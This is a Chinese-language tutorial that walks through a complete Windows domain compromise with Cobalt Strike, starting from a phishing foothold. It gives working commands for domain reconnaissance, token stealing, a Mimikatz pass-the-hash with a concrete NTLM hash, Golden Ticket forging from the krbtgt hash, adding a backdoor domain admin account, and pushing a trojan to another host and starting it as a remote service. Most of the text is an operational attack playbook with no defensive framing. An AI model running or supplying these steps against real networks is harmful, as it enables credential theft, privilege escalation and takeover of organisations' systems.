本篇文章将介绍Cobalt Strike的基础用法,这里面会给出一个完整的例子,来讲解如何使用Cobalt Strike完成一次完整的内网渗透
前置条件
假设我们通过钓鱼邮件,控制了域内一台普通员工机器。接下来,我们如何进行横向移动呢?
进入命令行
点击interact,进入命令行界面
信息收集
对于我们而言,需要
- 获取单台机器的Administrator权限,这样才能在这台机器上做更多的事情
- 获取域的Domain Admin权限,这样才能在域内为所欲为
故我们先要获取当前的信息
run systeminfo 查看当前系统信息
help net 查看net相关命令
net computers 查看域内所有电脑
net share 查看共享
shell whoami /all 查看当前用户
run net view /DOMAIN 查看当前域
run wmic computersystem get domain 查看当前域
run c:\windows\sysnative\nltest /dcList:mogong.org 获取域控服务器
run net group "Domain Controllers" /DOMAIN 获取域控服务器
run net group "Domain Computers" /DOMAIN 获得域所有电脑
以上操作也可以通过powershell来进行
powershell-import C:\Users\xxxxxx\Downloads\PowerSploit-master\Recon\PowerView.ps1 导入powershell库
powershell Get-NetDomain 获取当前domain信息
powershell Get-NetDomainController 获取domain controller信息
powershell Get-NetComputer 获取当前域内所有电脑
run nslookup WIN-Exchange.mogong.org Netbios转IP
run ping -n 1 WIN2012DBServer.mogong.org Netbios转IP
权限提升
Access Token 该token中保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token
获取身份信息 (Account Discovery)
ls \\WIN7-2019OAEDZP\C$ 判断当前是否为Local Administrator用户
run net localgroup "administrators" /DOMAIN
run net group "domain admins" /DOMAIN
run net group "enterprise admins" /DOMAIN 获取域管账户名
powershell Find-LocalAdminAccess 获得当前账户在哪些机器上有权限(注意 这个需要先powershell-import,参见前面)
Token (Token窃取)
很多时候,如果我们利用漏洞打的某个系统,执行的权限很可能是本地用户权限。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。
ps 先执行ps查看当前进程,有哪些进程是其他用户身份
steal_token [pid] 对该进程执行steal_token操作
getuid 查看当前自己的身份
rev2self 清除Token
Password
可以直接使用该Password进行登录操作,我们一般通过Mimikatz可以获得一批明文的用户名 密码,然后用该明文用户名 密码来进行登录。
或者获得密码Hash后进行破解,然后使用该用户名密码登录。
又或者通过泄露的github或者其他明文数据库获得进行登录。
Password Hash (Pass The Hash)
Pass The Hash需要操作lsass.exe进程,故要执行该操作,需要在高权限情况下。具备Administrator/System权限。
Ticket (Pass The Key )
通过krbtgt账户制作Golden Ticket
两个提权例子
前置条件
无论是PassTheHash 还是Golden Ticket,在执行之前都需要获取password hash。PassTheHash需要的是用来PassTheHash的账户的password hash,而Golden Ticket需要的是krbtgt账户的password hash。
通常有两种方法来获得password hash
- dump hash,无论是通过mimikatz还是hashdump的其他工具
- dcsync , 可通过dcsync获得任意账户hash
dump hash前需要是system/administrator权限。故可以寻找自己当前账户到底在哪台机器上是administrator,然后访问该机器,在该机器上进行dump。
Pass The Hash
Pass The Hash建议使用mimikatz进行。同时要注意,在微软打过补丁的机器上,只能对RID为500的Administrator账户进行Pass The Hash。
- 使用mimikatz 进行Pass the Hash
mimikatz sekurlsa::pth /user:Administrator /domain:mogong.org /ntlm:fae586ada95966ab3bfe8d3f6e00b5ac /run:"powershell -w hidden"
- 对生成的进程执行Token窃取
steal_token 23556 (pid为mimikatz执行完后的pid,参见上图)
- 查看当前的权限
由于我们这里Pass The Hash使用的是域管理员的账户,我们可以试下当前的权限
run net user wangerxiao wangerxi@1234 /add /domain 在域内添加账户
run net group "Domain Admins" wangerxiao /add /domain 添加为管理员
Golden Ticket
Golden Ticket需要以下三个前置条件:
- krbtgt账户的password hash,通过dcsync或者hashdump获得
-
当前账户的SID。
run whoami /all
这里注意,去掉最后一个横杆分割的位置,才是正确的SID,下图的SID是:S-1-5-21-1607583168-1955814511-974716307
域全名:mogong.org
创建过程如下图:
查看生成的ticket和权限:
run c:/windows/sysnative/klist 查看缓存的ticket
ls \\WIN-FRC25LFIC8A\C$ 查看域控的C盘
横向移动
获得内网开放端口服务
portscan 192.168.3.0-192.168.3.255 1-1024,3389,5000-6000 arp 1024
横向移动
按以上提权的方式,我们在某台机器上通过Golden Ticket或者Pass the Hash成为了域管理员。
此刻我们想控制域内的其他机器。
上传文件
-
在具有管理员权限的机器上,进入一个可上传的目录,这里使用Public Music目录
cd C:\Users\Public\Music
-
上传生成的木马
upload
从该目录拷贝到远程可访问机器的可写目录
shell copy artifact.exe \\WIN2012DBSERVER\C$\Users\Public\Music
远程执行
这里使用远程服务的方式执行
shell sc \\WIN2012DBSERVER create foobar binPath= "c:\Users\Public\Music\artifact.exe" 创建服务(这里binPath=后面要留一个空格,否则没法正常创建服务)
shell sc \\WIN2012DBSERVER start foobar 启动服务
成功上线